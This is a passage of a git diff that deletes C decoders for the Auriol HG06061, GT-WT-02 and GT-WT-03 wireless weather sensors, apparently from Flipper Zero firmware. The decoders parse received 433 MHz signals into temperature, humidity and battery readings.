*/ - -#define AURIOL_TH_CONST_DATA 0b1110 - -static const SubGhzBlockConst ws_protocol_auriol_th_const = { - .te_short = 500, - .te_long = 2000, - .te_delta = 150, - .min_count_bit_for_found = 37, -}; - -struct WSProtocolDecoderAuriol_TH { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; -}; - -struct WSProtocolEncoderAuriol_TH { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - auriol_THDecoderStepReset = 0, - auriol_THDecoderStepSaveDuration, - auriol_THDecoderStepCheckDuration, -} auriol_THDecoderStep; - -const SubGhzProtocolDecoder ws_protocol_auriol_th_decoder = { - .alloc = ws_protocol_decoder_auriol_th_alloc, - .free = ws_protocol_decoder_auriol_th_free, - - .feed = ws_protocol_decoder_auriol_th_feed, - .reset = ws_protocol_decoder_auriol_th_reset, - - .get_hash_data = ws_protocol_decoder_auriol_th_get_hash_data, - .serialize = ws_protocol_decoder_auriol_th_serialize, - .deserialize = ws_protocol_decoder_auriol_th_deserialize, - .get_string = ws_protocol_decoder_auriol_th_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_auriol_th_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_auriol_th = { - .name = WS_PROTOCOL_AURIOL_TH_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_auriol_th_decoder, - .encoder = &ws_protocol_auriol_th_encoder, -}; - -void* ws_protocol_decoder_auriol_th_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderAuriol_TH* instance = malloc(sizeof(WSProtocolDecoderAuriol_TH)); - instance->base.protocol = &ws_protocol_auriol_th; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_auriol_th_free(void* context) { - furi_assert(context); - WSProtocolDecoderAuriol_TH* instance = context; - free(instance); -} - -void ws_protocol_decoder_auriol_th_reset(void* context) { - furi_assert(context); - WSProtocolDecoderAuriol_TH* instance = context; - instance->decoder.parser_step = auriol_THDecoderStepReset; -} - -static bool ws_protocol_auriol_th_check(WSProtocolDecoderAuriol_TH* instance) { - uint8_t type = (instance->decoder.decode_data >> 8) & 0x0F; - - if((type == AURIOL_TH_CONST_DATA) && ((instance->decoder.decode_data >> 4) != 0xffffffff)) { - return true; - } else { - return false; - } - return true; -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_auriol_th_remote_controller(WSBlockGeneric* instance) { - instance->id = (instance->data >> 31) & 0xFF; - instance->battery_low = ((instance->data >> 30) & 1); - instance->channel = ((instance->data >> 25) & 0x03) + 1; - instance->btn = WS_NO_BTN; - if(!((instance->data >> 23) & 1)) { - instance->temp = (float)((instance->data >> 13) & 0x07FF) / 10.0f; - } else { - instance->temp = (float)((~(instance->data >> 13) & 0x07FF) + 1) / -10.0f; - } - - instance->humidity = (instance->data >> 1) & 0x7F; -} - -void ws_protocol_decoder_auriol_th_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderAuriol_TH* instance = context; - - switch(instance->decoder.parser_step) { - case auriol_THDecoderStepReset: - if((!level) && (DURATION_DIFF(duration, ws_protocol_auriol_th_const.te_short * 8) < - ws_protocol_auriol_th_const.te_delta)) { - //Found sync - instance->decoder.parser_step = auriol_THDecoderStepSaveDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } - break; - - case auriol_THDecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = auriol_THDecoderStepCheckDuration; - } else { - instance->decoder.parser_step = auriol_THDecoderStepReset; - } - break; - - case auriol_THDecoderStepCheckDuration: - if(!level) { - if(DURATION_DIFF(duration, ws_protocol_auriol_th_const.te_short * 8) < - ws_protocol_auriol_th_const.te_delta) { - //Found sync - instance->decoder.parser_step = auriol_THDecoderStepReset; - if((instance->decoder.decode_count_bit == - ws_protocol_auriol_th_const.min_count_bit_for_found) && - ws_protocol_auriol_th_check(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_auriol_th_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - instance->decoder.parser_step = auriol_THDecoderStepCheckDuration; - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - - break; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_auriol_th_const.te_short) < - ws_protocol_auriol_th_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_auriol_th_const.te_short * 2) < - ws_protocol_auriol_th_const.te_delta)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = auriol_THDecoderStepSaveDuration; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_auriol_th_const.te_short) < - ws_protocol_auriol_th_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_auriol_th_const.te_short * 4) < - ws_protocol_auriol_th_const.te_delta * 2)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = auriol_THDecoderStepSaveDuration; - } else { - instance->decoder.parser_step = auriol_THDecoderStepReset; - } - } else { - instance->decoder.parser_step = auriol_THDecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_auriol_th_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderAuriol_TH* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_auriol_th_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderAuriol_TH* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_auriol_th_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderAuriol_TH* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, flipper_format, ws_protocol_auriol_th_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_auriol_th_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderAuriol_TH* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/auriol_hg0601a.h b/applications/external/weather_station/protocols/auriol_hg0601a.h deleted file mode 100644 index 155bb07fc..000000000 --- a/applications/external/weather_station/protocols/auriol_hg0601a.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_AURIOL_TH_NAME "Auriol HG06061" //HG06061A-DCF-TX - -typedef struct WSProtocolDecoderAuriol_TH WSProtocolDecoderAuriol_TH; -typedef struct WSProtocolEncoderAuriol_TH WSProtocolEncoderAuriol_TH; - -extern const SubGhzProtocolDecoder ws_protocol_auriol_th_decoder; -extern const SubGhzProtocolEncoder ws_protocol_auriol_th_encoder; -extern const SubGhzProtocol ws_protocol_auriol_th; - -/** - * Allocate WSProtocolDecoderAuriol_TH. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderAuriol_TH* pointer to a WSProtocolDecoderAuriol_TH instance - */ -void* ws_protocol_decoder_auriol_th_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderAuriol_TH. - * @param context Pointer to a WSProtocolDecoderAuriol_TH instance - */ -void ws_protocol_decoder_auriol_th_free(void* context); - -/** - * Reset decoder WSProtocolDecoderAuriol_TH. - * @param context Pointer to a WSProtocolDecoderAuriol_TH instance - */ -void ws_protocol_decoder_auriol_th_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderAuriol_TH instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_auriol_th_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderAuriol_TH instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_auriol_th_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderAuriol_TH. - * @param context Pointer to a WSProtocolDecoderAuriol_TH instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_auriol_th_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderAuriol_TH. - * @param context Pointer to a WSProtocolDecoderAuriol_TH instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_auriol_th_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderAuriol_TH instance - * @param output Resulting text - */ -void ws_protocol_decoder_auriol_th_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/gt_wt_02.c b/applications/external/weather_station/protocols/gt_wt_02.c deleted file mode 100644 index d333164b4..000000000 --- a/applications/external/weather_station/protocols/gt_wt_02.c +++ /dev/null @@ -1,255 +0,0 @@ -#include "gt_wt_02.h" - -#define TAG "WSProtocolGT_WT02" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/gt_wt_02.c - * - * GT-WT-02 sensor on 433.92MHz. - * Example and frame description provided by https://github.com/ludwich66 - * [01] {37} 34 00 ed 47 60 : 00110100 00000000 11101101 01000111 01100000 - * code, BatOK,not-man-send, Channel1, +23,7°C, 35% - * [01] {37} 34 8f 87 15 90 : 00110100 10001111 10000111 00010101 10010000 - * code, BatOK,not-man-send, Channel1,-12,1°C, 10% - * Humidity: - * - the working range is 20-90 % - * - if "LL" in display view it sends 10 % - * - if "HH" in display view it sends 110% - * SENSOR: GT-WT-02 (ALDI Globaltronics..) - * TYP IIIIIIII BMCCTTTT TTTTTTTT HHHHHHHX XXXXX - * TYPE Description: - * - I = Random Device Code, changes with battery reset - * - B = Battery 0=OK 1=LOW - * - M = Manual Send Button Pressed 0=not pressed 1=pressed - * - C = Channel 00=CH1, 01=CH2, 10=CH3 - * - T = Temperature, 12 Bit 2's complement, scaled by 10 - * - H = Humidity = 7 Bit bin2dez 00-99, Display LL=10%, Display HH=110% (Range 20-90%) - * - X = Checksum, sum modulo 64 - * A Lidl AURIO (from 12/2018) with PCB marking YJ-T12 V02 has two extra bits in front. - * -*/ - -static const SubGhzBlockConst ws_protocol_gt_wt_02_const = { - .te_short = 500, - .te_long = 2000, - .te_delta = 150, - .min_count_bit_for_found = 37, -}; - -struct WSProtocolDecoderGT_WT02 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; -}; - -struct WSProtocolEncoderGT_WT02 { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - GT_WT02DecoderStepReset = 0, - GT_WT02DecoderStepSaveDuration, - GT_WT02DecoderStepCheckDuration, -} GT_WT02DecoderStep; - -const SubGhzProtocolDecoder ws_protocol_gt_wt_02_decoder = { - .alloc = ws_protocol_decoder_gt_wt_02_alloc, - .free = ws_protocol_decoder_gt_wt_02_free, - - .feed = ws_protocol_decoder_gt_wt_02_feed, - .reset = ws_protocol_decoder_gt_wt_02_reset, - - .get_hash_data = ws_protocol_decoder_gt_wt_02_get_hash_data, - .serialize = ws_protocol_decoder_gt_wt_02_serialize, - .deserialize = ws_protocol_decoder_gt_wt_02_deserialize, - .get_string = ws_protocol_decoder_gt_wt_02_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_gt_wt_02_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_gt_wt_02 = { - .name = WS_PROTOCOL_GT_WT_02_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_gt_wt_02_decoder, - .encoder = &ws_protocol_gt_wt_02_encoder, -}; - -void* ws_protocol_decoder_gt_wt_02_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderGT_WT02* instance = malloc(sizeof(WSProtocolDecoderGT_WT02)); - instance->base.protocol = &ws_protocol_gt_wt_02; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_gt_wt_02_free(void* context) { - furi_assert(context); - WSProtocolDecoderGT_WT02* instance = context; - free(instance); -} - -void ws_protocol_decoder_gt_wt_02_reset(void* context) { - furi_assert(context); - WSProtocolDecoderGT_WT02* instance = context; - instance->decoder.parser_step = GT_WT02DecoderStepReset; -} - -static bool ws_protocol_gt_wt_02_check(WSProtocolDecoderGT_WT02* instance) { - if(!instance->decoder.decode_data) return false; - uint8_t sum = (instance->decoder.decode_data >> 5) & 0xe; - uint64_t temp_data = instance->decoder.decode_data >> 9; - for(uint8_t i = 0; i < 7; i++) { - sum += (temp_data >> (i * 4)) & 0xF; - } - return ((uint8_t)(instance->decoder.decode_data & 0x3F) == (sum & 0x3F)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_gt_wt_02_remote_controller(WSBlockGeneric* instance) { - instance->id = (instance->data >> 29) & 0xFF; - instance->battery_low = (instance->data >> 28) & 1; - instance->btn = (instance->data >> 27) & 1; - instance->channel = ((instance->data >> 25) & 0x3) + 1; - - if(!((instance->data >> 24) & 1)) { - instance->temp = (float)((instance->data >> 13) & 0x07FF) / 10.0f; - } else { - instance->temp = (float)((~(instance->data >> 13) & 0x07FF) + 1) / -10.0f; - } - - instance->humidity = (instance->data >> 6) & 0x7F; - if(instance->humidity <= 10) // actually the sensors sends 10 below working range of 20% - instance->humidity = 0; - else if(instance->humidity > 90) // actually the sensors sends 110 above working range of 90% - instance->humidity = 100; -} - -void ws_protocol_decoder_gt_wt_02_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderGT_WT02* instance = context; - - switch(instance->decoder.parser_step) { - case GT_WT02DecoderStepReset: - if((!level) && (DURATION_DIFF(duration, ws_protocol_gt_wt_02_const.te_short * 18) < - ws_protocol_gt_wt_02_const.te_delta * 8)) { - //Found syncPrefix - instance->decoder.parser_step = GT_WT02DecoderStepSaveDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } - break; - - case GT_WT02DecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = GT_WT02DecoderStepCheckDuration; - } else { - instance->decoder.parser_step = GT_WT02DecoderStepReset; - } - break; - - case GT_WT02DecoderStepCheckDuration: - if(!level) { - if(DURATION_DIFF(instance->decoder.te_last, ws_protocol_gt_wt_02_const.te_short) < - ws_protocol_gt_wt_02_const.te_delta) { - if(DURATION_DIFF(duration, ws_protocol_gt_wt_02_const.te_short * 18) < - ws_protocol_gt_wt_02_const.te_delta * 8) { - //Found syncPostfix - instance->decoder.parser_step = GT_WT02DecoderStepReset; - if((instance->decoder.decode_count_bit == - ws_protocol_gt_wt_02_const.min_count_bit_for_found) && - ws_protocol_gt_wt_02_check(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_gt_wt_02_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } else if(instance->decoder.decode_count_bit == 1) { - instance->decoder.parser_step = GT_WT02DecoderStepSaveDuration; - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } else if( - DURATION_DIFF(duration, ws_protocol_gt_wt_02_const.te_long) < - ws_protocol_gt_wt_02_const.te_delta * 2) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = GT_WT02DecoderStepSaveDuration; - } else if( - DURATION_DIFF(duration, ws_protocol_gt_wt_02_const.te_long * 2) < - ws_protocol_gt_wt_02_const.te_delta * 4) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = GT_WT02DecoderStepSaveDuration; - } else { - instance->decoder.parser_step = GT_WT02DecoderStepReset; - } - } else { - instance->decoder.parser_step = GT_WT02DecoderStepReset; - } - } else { - instance->decoder.parser_step = GT_WT02DecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_gt_wt_02_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderGT_WT02* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_gt_wt_02_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderGT_WT02* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_gt_wt_02_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderGT_WT02* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, flipper_format, ws_protocol_gt_wt_02_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_gt_wt_02_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderGT_WT02* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/gt_wt_02.h b/applications/external/weather_station/protocols/gt_wt_02.h deleted file mode 100644 index e13576d21..000000000 --- a/applications/external/weather_station/protocols/gt_wt_02.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_GT_WT_02_NAME "GT-WT02" - -typedef struct WSProtocolDecoderGT_WT02 WSProtocolDecoderGT_WT02; -typedef struct WSProtocolEncoderGT_WT02 WSProtocolEncoderGT_WT02; - -extern const SubGhzProtocolDecoder ws_protocol_gt_wt_02_decoder; -extern const SubGhzProtocolEncoder ws_protocol_gt_wt_02_encoder; -extern const SubGhzProtocol ws_protocol_gt_wt_02; - -/** - * Allocate WSProtocolDecoderGT_WT02. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderGT_WT02* pointer to a WSProtocolDecoderGT_WT02 instance - */ -void* ws_protocol_decoder_gt_wt_02_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderGT_WT02. - * @param context Pointer to a WSProtocolDecoderGT_WT02 instance - */ -void ws_protocol_decoder_gt_wt_02_free(void* context); - -/** - * Reset decoder WSProtocolDecoderGT_WT02. - * @param context Pointer to a WSProtocolDecoderGT_WT02 instance - */ -void ws_protocol_decoder_gt_wt_02_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderGT_WT02 instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_gt_wt_02_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderGT_WT02 instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_gt_wt_02_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderGT_WT02. - * @param context Pointer to a WSProtocolDecoderGT_WT02 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_gt_wt_02_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderGT_WT02. - * @param context Pointer to a WSProtocolDecoderGT_WT02 instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_gt_wt_02_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderGT_WT02 instance - * @param output Resulting text - */ -void ws_protocol_decoder_gt_wt_02_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/gt_wt_03.c b/applications/external/weather_station/protocols/gt_wt_03.c deleted file mode 100644 index 30430b839..000000000 --- a/applications/external/weather_station/protocols/gt_wt_03.c +++ /dev/null @@ -1,330 +0,0 @@ -#include "gt_wt_03.h" - -#define TAG "WSProtocolGT_WT03" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/gt_wt_03.c - * - * - * Globaltronics GT-WT-03 sensor on 433.92MHz. - * The 01-set sensor has 60 ms packet gap with 10 repeats. - * The 02-set sensor has no packet gap with 23 repeats. - * Example: - * {41} 17 cf be fa 6a 80 [ S1 C1 26,1 C 78.9 F 48% Bat-Good Manual-Yes ] - * {41} 17 cf be fa 6a 80 [ S1 C1 26,1 C 78.9 F 48% Bat-Good Manual-Yes Batt-Changed ] - * {41} 17 cf fe fa ea 80 [ S1 C1 26,1 C 78.9 F 48% Bat-Good Manual-No Batt-Changed ] - * {41} 01 cf 6f 11 b2 80 [ S2 C2 23,8 C 74.8 F 48% Bat-LOW Manual-No ] - * {41} 01 c8 d0 2b 76 80 [ S2 C3 -4,4 C 24.1 F 55% Bat-Good Manual-No Batt-Changed ] - * Format string: - * ID:8h HUM:8d B:b M:b C:2d TEMP:12d CHK:8h 1x - * Data layout: - * TYP IIIIIIII HHHHHHHH BMCCTTTT TTTTTTTT XXXXXXXX - * - I: Random Device Code: changes with battery reset - * - H: Humidity: 8 Bit 00-99, Display LL=10%, Display HH=110% (Range 20-95%) - * - B: Battery: 0=OK 1=LOW - * - M: Manual Send Button Pressed: 0=not pressed, 1=pressed - * - C: Channel: 00=CH1, 01=CH2, 10=CH3 - * - T: Temperature: 12 Bit 2's complement, scaled by 10, range-50.0 C (-50.1 shown as Lo) to +70.0 C (+70.1 C is shown as Hi) - * - X: Checksum, xor shifting key per byte - * Humidity: - * - the working range is 20-95 % - * - if "LL" in display view it sends 10 % - * - if "HH" in display view it sends 110% - * Checksum: - * Per byte xor the key for each 1-bit, shift per bit. Key list per bit, starting at MSB: - * - 0x00 [07] - * - 0x80 [06] - * - 0x40 [05] - * - 0x20 [04] - * - 0x10 [03] - * - 0x88 [02] - * - 0xc4 [01] - * - 0x62 [00] - * Note: this can also be seen as lower byte of a Galois/Fibonacci LFSR-16, gen 0x00, init 0x3100 (or 0x62 if reversed) resetting at every byte. - * Battery voltages: - * - U=<2,65V +- ~5% Battery indicator - * - U=>2.10C +- 5% plausible readings - * - U=2,00V +- ~5% Temperature offset -5°C Humidity offset unknown - * - U=<1,95V +- ~5% does not initialize anymore - * - U=1,90V +- 5% temperature offset -15°C - * - U=1,80V +- 5% Display is showing refresh pattern - * - U=1.75V +- ~5% TX causes cut out - * - */ - -static const SubGhzBlockConst ws_protocol_gt_wt_03_const = { - .te_short = 285, - .te_long = 570, - .te_delta = 120, - .min_count_bit_for_found = 41, -}; - -struct WSProtocolDecoderGT_WT03 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - - uint16_t header_count; -}; - -struct WSProtocolEncoderGT_WT03 { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - GT_WT03DecoderStepReset = 0, - GT_WT03DecoderStepCheckPreambule, - GT_WT03DecoderStepSaveDuration, - GT_WT03DecoderStepCheckDuration, -} GT_WT03DecoderStep; - -const SubGhzProtocolDecoder ws_protocol_gt_wt_03_decoder = { - .alloc = ws_protocol_decoder_gt_wt_03_alloc, - .free = ws_protocol_decoder_gt_wt_03_free, - - .feed = ws_protocol_decoder_gt_wt_03_feed, - .reset = ws_protocol_decoder_gt_wt_03_reset, - - .get_hash_data = ws_protocol_decoder_gt_wt_03_get_hash_data, - .serialize = ws_protocol_decoder_gt_wt_03_serialize, - .deserialize = ws_protocol_decoder_gt_wt_03_deserialize, - .get_string = ws_protocol_decoder_gt_wt_03_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_gt_wt_03_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_gt_wt_03 = { - .name = WS_PROTOCOL_GT_WT_03_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_gt_wt_03_decoder, - .encoder = &ws_protocol_gt_wt_03_encoder, -}; - -void* ws_protocol_decoder_gt_wt_03_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderGT_WT03* instance = malloc(sizeof(WSProtocolDecoderGT_WT03)); - instance->base.protocol = &ws_protocol_gt_wt_03; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_gt_wt_03_free(void* context) { - furi_assert(context); - WSProtocolDecoderGT_WT03* instance = context; - free(instance); -} - -void ws_protocol_decoder_gt_wt_03_reset(void* context) { - furi_assert(context); - WSProtocolDecoderGT_WT03* instance = context; - instance->decoder.parser_step = GT_WT03DecoderStepReset; -} - -static bool ws_protocol_gt_wt_03_check_crc(WSProtocolDecoderGT_WT03* instance) { - uint8_t msg[] = { - instance->decoder.decode_data >> 33, - instance->decoder.decode_data >> 25, - instance->decoder.decode_data >> 17, - instance->decoder.decode_data >> 9}; - - uint8_t sum = 0; - for(unsigned k = 0; k < sizeof(msg); ++k) { - uint8_t data = msg[k]; - uint16_t key = 0x3100; - for(int i = 7; i >= 0; --i) { - // XOR key into sum if data bit is set - if((data >> i) & 1) sum ^= key & 0xff; - // roll the key right - key = (key >> 1); - } - } - return ((sum ^ (uint8_t)((instance->decoder.decode_data >> 1) & 0xFF)) == 0x2D); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_gt_wt_03_remote_controller(WSBlockGeneric* instance) { - instance->id = instance->data >> 33; - instance->humidity = (instance->data >> 25) & 0xFF; - - if(instance->humidity <= 10) { // actually the sensors sends 10 below working range of 20% - instance->humidity = 0; - } else if(instance->humidity > 95) { // actually the sensors sends 110 above working range of 90% - instance->humidity = 100; - } - - instance->battery_low = (instance->data >> 24) & 1; - instance->btn = (instance->data >> 23) & 1; - instance->channel = ((instance->data >> 21) & 0x03) + 1; - - if(!((instance->data >> 20) & 1)) { - instance->temp = (float)((instance->data >> 9) & 0x07FF) / 10.0f; - } else { - instance->temp = (float)((~(instance->data >> 9) & 0x07FF) + 1) / -10.0f; - } -} - -void ws_protocol_decoder_gt_wt_03_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderGT_WT03* instance = context; - - switch(instance->decoder.parser_step) { - case GT_WT03DecoderStepReset: - if((level) && (DURATION_DIFF(duration, ws_protocol_gt_wt_03_const.te_short * 3) < - ws_protocol_gt_wt_03_const.te_delta * 2)) { - instance->decoder.parser_step = GT_WT03DecoderStepCheckPreambule; - instance->decoder.te_last = duration; - instance->header_count = 0; - } - break; - - case GT_WT03DecoderStepCheckPreambule: - if(level) { - instance->decoder.te_last = duration; - } else { - if((DURATION_DIFF(instance->decoder.te_last, ws_protocol_gt_wt_03_const.te_short * 3) < - ws_protocol_gt_wt_03_const.te_delta * 2) && - (DURATION_DIFF(duration, ws_protocol_gt_wt_03_const.te_short * 3) < - ws_protocol_gt_wt_03_const.te_delta * 2)) { - //Found preambule - instance->header_count++; - } else if(instance->header_count == 4) { - if((DURATION_DIFF(instance->decoder.te_last, ws_protocol_gt_wt_03_const.te_short) < - ws_protocol_gt_wt_03_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_gt_wt_03_const.te_long) < - ws_protocol_gt_wt_03_const.te_delta)) { - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = GT_WT03DecoderStepSaveDuration; - } else if( - (DURATION_DIFF(instance->decoder.te_last, ws_protocol_gt_wt_03_const.te_long) < - ws_protocol_gt_wt_03_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_gt_wt_03_const.te_short) < - ws_protocol_gt_wt_03_const.te_delta)) { - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - 